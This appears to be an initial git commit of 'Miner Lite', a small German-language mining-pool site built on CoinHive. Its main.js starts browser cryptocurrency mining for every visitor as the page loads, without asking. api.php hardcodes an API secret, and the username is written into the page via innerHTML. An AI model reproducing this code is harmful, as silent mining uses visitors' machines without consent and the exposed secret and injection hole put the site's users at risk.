init repo
This commit is contained in:
commit
725253050f
18
api.php
Normal file
18
api.php
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
<?php
|
||||||
|
$secret = "dp42NR7L7S3ZyxfhfIkTe98bEw0rzv9C";
|
||||||
|
|
||||||
|
$response = array();
|
||||||
|
$curl = curl_init();
|
||||||
|
curl_setopt_array($curl, array(
|
||||||
|
CURLOPT_RETURNTRANSFER => 1,
|
||||||
|
CURLOPT_URL => 'https://api.coinhive.com/user/top?secret='.$secret.'&count=10'
|
||||||
|
));
|
||||||
|
$result = curl_exec($curl);
|
||||||
|
$json = json_decode($result,true);
|
||||||
|
foreach($json['users'] as $i => $values){
|
||||||
|
$username = htmlentities($values['name']);
|
||||||
|
$response[$values['name']] = htmlentities($values['total']);
|
||||||
|
}
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
echo json_encode($response);
|
||||||
|
curl_close($curl);
|
||||||
BIN
images/favicon.png
Normal file
BIN
images/favicon.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 905 B |
193
index.html
Normal file
193
index.html
Normal file
@ -0,0 +1,193 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<!--
|
||||||
|
Material Design Lite
|
||||||
|
Copyright 2015 Google Inc. All rights reserved.
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License
|
||||||
|
-->
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||||
|
<meta name="description" content="A front-end template that helps you build fast, modern mobile web apps.">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
|
||||||
|
<title>Miner Lite</title>
|
||||||
|
|
||||||
|
<link rel="shortcut icon" href="images/favicon.png">
|
||||||
|
|
||||||
|
<!-- SEO: If your mobile URL is different from the desktop URL, add a canonical link to the desktop page https://developers.google.com/webmasters/smartphone-sites/feature-phones -->
|
||||||
|
<!--
|
||||||
|
<link rel="canonical" href="http://www.example.com/">
|
||||||
|
-->
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:regular,bold,italic,thin,light,bolditalic,black,medium&lang=en">
|
||||||
|
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
||||||
|
<link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-deep_purple.min.css">
|
||||||
|
<link rel="stylesheet" type="text/css" href="//csshake.surge.sh/csshake.min.css">
|
||||||
|
<link rel="stylesheet" href="styles.css">
|
||||||
|
</head>
|
||||||
|
<body class="mdl-demo mdl-color--grey-100 mdl-color-text--grey-700 mdl-base">
|
||||||
|
<div class="mdl-layout mdl-js-layout mdl-layout--fixed-header">
|
||||||
|
<header class="mdl-layout__header mdl-layout__header--scroll mdl-color--primary">
|
||||||
|
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
||||||
|
<h3>Miner Lite</h3>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout__tab-bar mdl-js-ripple-effect mdl-color--primary-dark">
|
||||||
|
<a href="#overview" class="mdl-layout__tab is-active">Startseite</a>
|
||||||
|
<a href="#user" class="mdl-layout__tab">Benutzer Details</a>
|
||||||
|
<a href="#server" class="mdl-layout__tab">Server Details</a>
|
||||||
|
<a href="#faq" class="mdl-layout__tab">FAQ</a>
|
||||||
|
<button class="mdl-button mdl-js-button mdl-button--fab mdl-button--colored" id="add">
|
||||||
|
<i class="material-icons" role="presentation">send</i>
|
||||||
|
<span class="visuallyhidden">Send</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
<main class="mdl-layout__content">
|
||||||
|
<dialog class="modal modal--align-top modal__bg">
|
||||||
|
<h4 class="mdl-dialog__title">Bitte wähle deinen Benutzernamen</h4>
|
||||||
|
<div class="mdl-dialog__content">
|
||||||
|
<div class="mdl-textfield mdl-js-textfield">
|
||||||
|
<input class="mdl-textfield__input" type="text" id="userinput">
|
||||||
|
<label class="mdl-textfield__label" for="userinput">Benutzername</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-dialog__actions">
|
||||||
|
<button type="button" class="mdl-button set">Setzen</button>
|
||||||
|
<button type="button" class="mdl-button close">Abbruch</button>
|
||||||
|
</div>
|
||||||
|
</dialog>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="mdl-layout__tab-panel is-active" id="overview">
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
||||||
|
<header class="section__play-btn mdl-cell mdl-cell--3-col-desktop mdl-cell--2-col-tablet mdl-cell--4-col-phone mdl-color--teal-100 mdl-color-text--white">
|
||||||
|
<i class="material-icons">play_circle_filled</i>
|
||||||
|
</header>
|
||||||
|
<div class="mdl-card mdl-cell mdl-cell--9-col-desktop mdl-cell--6-col-tablet mdl-cell--4-col-phone">
|
||||||
|
<div class="mdl-card__supporting-text">
|
||||||
|
<h4>Features</h4>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse.
|
||||||
|
</div>
|
||||||
|
<div class="mdl-card__actions">
|
||||||
|
<a href="#" class="mdl-button">Read our features</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<ul class="mdl-menu mdl-js-menu mdl-menu--bottom-right" for="btn1">
|
||||||
|
<li class="mdl-menu__item">Lorem</li>
|
||||||
|
<li class="mdl-menu__item" disabled>Ipsum</li>
|
||||||
|
<li class="mdl-menu__item">Dolor</li>
|
||||||
|
</ul>
|
||||||
|
</section>
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
||||||
|
<div class="mdl-card mdl-cell mdl-cell--12-col">
|
||||||
|
<div class="mdl-card__supporting-text mdl-grid mdl-grid--no-spacing">
|
||||||
|
<h4 class="mdl-cell mdl-cell--12-col">Details</h4>
|
||||||
|
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
||||||
|
<div class="section__circle-container__circle mdl-color--primary"></div>
|
||||||
|
</div>
|
||||||
|
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
||||||
|
<h5>Lorem ipsum dolor sit amet</h5>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
||||||
|
</div>
|
||||||
|
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
||||||
|
<div class="section__circle-container__circle mdl-color--primary"></div>
|
||||||
|
</div>
|
||||||
|
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
||||||
|
<h5>Lorem ipsum dolor sit amet</h5>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
||||||
|
</div>
|
||||||
|
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
|
||||||
|
<div class="section__circle-container__circle mdl-color--primary"></div>
|
||||||
|
</div>
|
||||||
|
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
|
||||||
|
<h5>Lorem ipsum dolor sit amet</h5>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-card__actions">
|
||||||
|
<a href="#" class="mdl-button">Read our features</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
|
||||||
|
<div class="mdl-card mdl-cell mdl-cell--12-col">
|
||||||
|
<div class="mdl-card__supporting-text">
|
||||||
|
<h4>Technology</h4>
|
||||||
|
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse. Pariatur occaecat nisi laboris tempor laboris eiusmod qui id Lorem esse commodo in. Exercitation aute dolore deserunt culpa consequat elit labore incididunt elit anim.
|
||||||
|
</div>
|
||||||
|
<div class="mdl-card__actions">
|
||||||
|
<a href="#" class="mdl-button">Read our features</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout__tab-panel" id="user">
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing">
|
||||||
|
<div class="mdl-cell mdl-cell--12-col">
|
||||||
|
<h4>Benutzer Details</h4>
|
||||||
|
<span class="mdl-chip" id="notloggedin">
|
||||||
|
<span class="mdl-chip__text">Nicht eingeloggt</span>
|
||||||
|
</span>
|
||||||
|
<div id="loggedin" style="display:none;">
|
||||||
|
<span class="mdl-chip mdl-chip--contact">
|
||||||
|
<span class="mdl-chip__contact mdl-color--teal mdl-color-text--white">U</span>
|
||||||
|
<span class="mdl-chip__text" id="usernametext">USERNAME</span>
|
||||||
|
</span>
|
||||||
|
<br />
|
||||||
|
<p>
|
||||||
|
Threads: <span id="details_threads">0</span><br />
|
||||||
|
Hashes/s: <span id="details_hashes">0</span><br />
|
||||||
|
Accepted Hashes: <span id="details_accepted">0</span><br />
|
||||||
|
Total Hashes: <span id="details_total">0</span><br />
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div style="margin-bottom: 25em">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
<div class="mdl-layout__tab-panel" id="server">
|
||||||
|
<section class="section--center mdl-grid mdl-grid--no-spacing">
|
||||||
|
<div class="mdl-cell mdl-cell--12-col">
|
||||||
|
<h4>Server Details</h4>
|
||||||
|
<ol id="top10">
|
||||||
|
</ol>
|
||||||
|
<div style="margin-bottom: 25em">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
<footer class="mdl-mega-footer">
|
||||||
|
<div class="mdl-mega-footer--bottom-section">
|
||||||
|
<div class="mdl-logo">
|
||||||
|
More Information
|
||||||
|
</div>
|
||||||
|
<ul class="mdl-mega-footer--link-list">
|
||||||
|
<li><a href="https://developers.google.com/web/starter-kit/">Web Starter Kit</a></li>
|
||||||
|
<li><a href="#">Help</a></li>
|
||||||
|
<li><a href="#">Privacy and Terms</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
<script src="https://code.getmdl.io/1.3.0/material.min.js"></script>
|
||||||
|
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
|
||||||
|
<script src="main.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
148
main.js
Normal file
148
main.js
Normal file
@ -0,0 +1,148 @@
|
|||||||
|
var sitekey = '59UmZxWe8pVs2PDpTSCcNGZp7FxYWdFS';
|
||||||
|
var anonminer = new CoinHive.Anonymous(sitekey, {
|
||||||
|
threads: 2
|
||||||
|
});
|
||||||
|
|
||||||
|
function getCookie(name) {
|
||||||
|
var dc = document.cookie;
|
||||||
|
var prefix = name + "=";
|
||||||
|
var begin = dc.indexOf("; " + prefix);
|
||||||
|
if (begin == -1) {
|
||||||
|
begin = dc.indexOf(prefix);
|
||||||
|
if (begin != 0) return null;
|
||||||
|
} else {
|
||||||
|
begin += 2;
|
||||||
|
var end = document.cookie.indexOf(";", begin);
|
||||||
|
if (end == -1) {
|
||||||
|
end = dc.length;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// because unescape has been deprecated, replaced with decodeURI
|
||||||
|
//return unescape(dc.substring(begin + prefix.length, end));
|
||||||
|
return decodeURI(dc.substring(begin + prefix.length, end));
|
||||||
|
}
|
||||||
|
|
||||||
|
function setCookie(cname, cvalue, exdays) {
|
||||||
|
var d = new Date();
|
||||||
|
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
|
||||||
|
var expires = "expires=" + d.toUTCString();
|
||||||
|
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
|
||||||
|
}
|
||||||
|
|
||||||
|
function ajax(url, method = "GET", data = "", tryJson = true) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
var httpRequest = new XMLHttpRequest();
|
||||||
|
httpRequest.onreadystatechange = function() {
|
||||||
|
if (httpRequest.readyState === XMLHttpRequest.DONE) {
|
||||||
|
if (httpRequest.status === 200) {
|
||||||
|
var response = httpRequest.responseText;
|
||||||
|
if (tryJson) {
|
||||||
|
try {
|
||||||
|
response = JSON.parse(response)
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
resolve(response)
|
||||||
|
} else {
|
||||||
|
reject()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
httpRequest.open(method, url, true);
|
||||||
|
if (method === "POST") {
|
||||||
|
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||||
|
httpRequest.send(data)
|
||||||
|
} else {
|
||||||
|
httpRequest.send()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function updateTop10() {
|
||||||
|
ajax("api.php").then(function(answer) {
|
||||||
|
console.log(answer);
|
||||||
|
var list = document.getElementById('top10');
|
||||||
|
list.innerHTML = "";
|
||||||
|
for (var key in answer) {
|
||||||
|
var value = answer[key];
|
||||||
|
list.insertAdjacentHTML('beforeend', '<li>' + key + ': ' + value + '</li>');
|
||||||
|
}
|
||||||
|
}, function() {})
|
||||||
|
}
|
||||||
|
|
||||||
|
function login(userid) {
|
||||||
|
document.getElementById('add').style.display = "none";
|
||||||
|
document.getElementById('notloggedin').style.display = "none";
|
||||||
|
document.getElementById('loggedin').style.display = "inline";
|
||||||
|
document.getElementById('usernametext').innerHTML = userid;
|
||||||
|
|
||||||
|
if(anonminer.isRunning()) {
|
||||||
|
anonminer.stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
var miner = new CoinHive.User(sitekey, userid, {
|
||||||
|
threads: 4,
|
||||||
|
autoThreads: true
|
||||||
|
});
|
||||||
|
|
||||||
|
// Update stats once per second
|
||||||
|
setInterval(function() {
|
||||||
|
var hashesPerSecond = miner.getHashesPerSecond();
|
||||||
|
var totalHashes = miner.getTotalHashes();
|
||||||
|
var acceptedHashes = miner.getAcceptedHashes();
|
||||||
|
|
||||||
|
console.log(hashesPerSecond + " " + totalHashes + " " + acceptedHashes);
|
||||||
|
|
||||||
|
document.getElementById('details_threads').innerHTML = miner.getNumThreads();
|
||||||
|
document.getElementById('details_hashes').innerHTML = hashesPerSecond;
|
||||||
|
document.getElementById('details_total').innerHTML = totalHashes;
|
||||||
|
document.getElementById('details_accepted').innerHTML = acceptedHashes;
|
||||||
|
}, 1000);
|
||||||
|
|
||||||
|
miner.start(CoinHive.IF_EXCLUSIVE_TAB);
|
||||||
|
}
|
||||||
|
|
||||||
|
var dialog = document.querySelector('dialog');
|
||||||
|
var showDialogButton = document.querySelector('#add');
|
||||||
|
if (!dialog.showModal) {
|
||||||
|
dialogPolyfill.registerDialog(dialog);
|
||||||
|
}
|
||||||
|
showDialogButton.addEventListener('click', function() {
|
||||||
|
dialog.showModal();
|
||||||
|
});
|
||||||
|
|
||||||
|
dialog.querySelector('.set').addEventListener('click', function() {
|
||||||
|
var username = document.getElementById('userinput').value;
|
||||||
|
setCookie("username", username, 30);
|
||||||
|
login(username);
|
||||||
|
dialog.close();
|
||||||
|
});
|
||||||
|
|
||||||
|
dialog.querySelector('.close').addEventListener('click', function() {
|
||||||
|
dialog.close();
|
||||||
|
});
|
||||||
|
|
||||||
|
var username = getCookie("username");
|
||||||
|
if (username != null) {
|
||||||
|
login(username);
|
||||||
|
} else {
|
||||||
|
anonminer.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
updateTop10();
|
||||||
|
setInterval(function() {
|
||||||
|
updateTop10();
|
||||||
|
}, 60000);
|
||||||
|
|
||||||
|
|
||||||
|
setInterval(function() {
|
||||||
|
if (getCookie("username") == null) {
|
||||||
|
var button = document.getElementById("add");
|
||||||
|
button.classList.add("shake-slow");
|
||||||
|
button.classList.add("shake-constant");
|
||||||
|
setTimeout(function(){
|
||||||
|
button.classList.remove("shake-slow");
|
||||||
|
button.classList.remove("shake-constant");
|
||||||
|
}, 2000);
|
||||||
|
}
|
||||||
|
}, 5000);
|
||||||
208
styles.css
Normal file
208
styles.css
Normal file
@ -0,0 +1,208 @@
|
|||||||
|
/**
|
||||||
|
* Copyright 2015 Google Inc. All Rights Reserved.
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
font-family: 'Roboto', 'Helvetica', sans-serif;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__header-row {
|
||||||
|
padding-left: 40px;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout.is-small-screen .mdl-layout__header-row h3 {
|
||||||
|
font-size: inherit;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__tab-bar-button {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout.is-small-screen .mdl-layout__tab-bar .mdl-button {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout:not(.is-small-screen) .mdl-layout__tab-bar,
|
||||||
|
.mdl-demo .mdl-layout:not(.is-small-screen) .mdl-layout__tab-bar-container {
|
||||||
|
overflow: visible;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__tab-bar-container {
|
||||||
|
height: 64px;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__tab-bar {
|
||||||
|
padding: 0;
|
||||||
|
padding-left: 16px;
|
||||||
|
box-sizing: border-box;
|
||||||
|
height: 100%;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__tab-bar .mdl-layout__tab {
|
||||||
|
height: 64px;
|
||||||
|
line-height: 64px;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__tab-bar .mdl-layout__tab.is-active::after {
|
||||||
|
background-color: white;
|
||||||
|
height: 4px;
|
||||||
|
}
|
||||||
|
.mdl-demo main > .mdl-layout__tab-panel {
|
||||||
|
padding: 8px;
|
||||||
|
padding-top: 48px;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card {
|
||||||
|
height: auto;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card > * {
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card .mdl-card__supporting-text {
|
||||||
|
margin: 40px;
|
||||||
|
flex-grow: 1;
|
||||||
|
padding: 0;
|
||||||
|
color: inherit;
|
||||||
|
width: calc(100% - 80px);
|
||||||
|
}
|
||||||
|
.mdl-demo.mdl-demo .mdl-card__supporting-text h4 {
|
||||||
|
margin-top: 0;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card__actions {
|
||||||
|
margin: 0;
|
||||||
|
padding: 4px 40px;
|
||||||
|
color: inherit;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card__actions a {
|
||||||
|
color: #00BCD4;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card__actions a:hover,
|
||||||
|
.mdl-demo .mdl-card__actions a:active {
|
||||||
|
color: inherit;
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card__supporting-text + .mdl-card__actions {
|
||||||
|
border-top: 1px solid rgba(0, 0, 0, 0.12);
|
||||||
|
}
|
||||||
|
.mdl-demo #add {
|
||||||
|
position: absolute;
|
||||||
|
right: 40px;
|
||||||
|
top: 36px;
|
||||||
|
z-index: 999;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mdl-demo .mdl-layout__content section:not(:last-of-type) {
|
||||||
|
position: relative;
|
||||||
|
margin-bottom: 48px;
|
||||||
|
}
|
||||||
|
.mdl-demo section.section--center {
|
||||||
|
max-width: 860px;
|
||||||
|
}
|
||||||
|
.mdl-demo #features section.section--center {
|
||||||
|
max-width: 620px;
|
||||||
|
}
|
||||||
|
.mdl-demo section > header{
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
.mdl-demo section > .section__play-btn {
|
||||||
|
min-height: 200px;
|
||||||
|
}
|
||||||
|
.mdl-demo section > header > .material-icons {
|
||||||
|
font-size: 3rem;
|
||||||
|
}
|
||||||
|
.mdl-demo section > button {
|
||||||
|
position: absolute;
|
||||||
|
z-index: 99;
|
||||||
|
top: 8px;
|
||||||
|
right: 8px;
|
||||||
|
}
|
||||||
|
.mdl-demo section .section__circle {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: flex-start;
|
||||||
|
flex-grow: 0;
|
||||||
|
flex-shrink: 1;
|
||||||
|
}
|
||||||
|
.mdl-demo section .section__text {
|
||||||
|
flex-grow: 1;
|
||||||
|
flex-shrink: 0;
|
||||||
|
padding-top: 8px;
|
||||||
|
}
|
||||||
|
.mdl-demo section .section__text h5 {
|
||||||
|
font-size: inherit;
|
||||||
|
margin: 0;
|
||||||
|
margin-bottom: 0.5em;
|
||||||
|
}
|
||||||
|
.mdl-demo section .section__text a {
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
.mdl-demo section .section__circle-container > .section__circle-container__circle {
|
||||||
|
width: 64px;
|
||||||
|
height: 64px;
|
||||||
|
border-radius: 32px;
|
||||||
|
margin: 8px 0;
|
||||||
|
}
|
||||||
|
.mdl-demo section.section--footer .section__circle--big {
|
||||||
|
width: 100px;
|
||||||
|
height: 100px;
|
||||||
|
border-radius: 50px;
|
||||||
|
margin: 8px 32px;
|
||||||
|
}
|
||||||
|
.mdl-demo .is-small-screen section.section--footer .section__circle--big {
|
||||||
|
width: 50px;
|
||||||
|
height: 50px;
|
||||||
|
border-radius: 25px;
|
||||||
|
margin: 8px 16px;
|
||||||
|
}
|
||||||
|
.mdl-demo section.section--footer {
|
||||||
|
padding: 64px 0;
|
||||||
|
margin: 0 -8px -8px -8px;
|
||||||
|
}
|
||||||
|
.mdl-demo section.section--center .section__text:not(:last-child) {
|
||||||
|
border-bottom: 1px solid rgba(0,0,0,.13);
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-card .mdl-card__supporting-text > h3:first-child {
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-layout__tab-panel:not(#overview) {
|
||||||
|
background-color: white;
|
||||||
|
}
|
||||||
|
.mdl-demo #features section {
|
||||||
|
margin-bottom: 72px;
|
||||||
|
}
|
||||||
|
.mdl-demo #features h4, #features h5 {
|
||||||
|
margin-bottom: 16px;
|
||||||
|
}
|
||||||
|
.mdl-demo .toc {
|
||||||
|
border-left: 4px solid #C1EEF4;
|
||||||
|
margin: 24px;
|
||||||
|
padding: 0;
|
||||||
|
padding-left: 8px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
.mdl-demo .toc h4 {
|
||||||
|
font-size: 0.9rem;
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
.mdl-demo .toc a {
|
||||||
|
color: #4DD0E1;
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 16px;
|
||||||
|
line-height: 28px;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
.mdl-demo .mdl-menu__container {
|
||||||
|
z-index: 99;
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user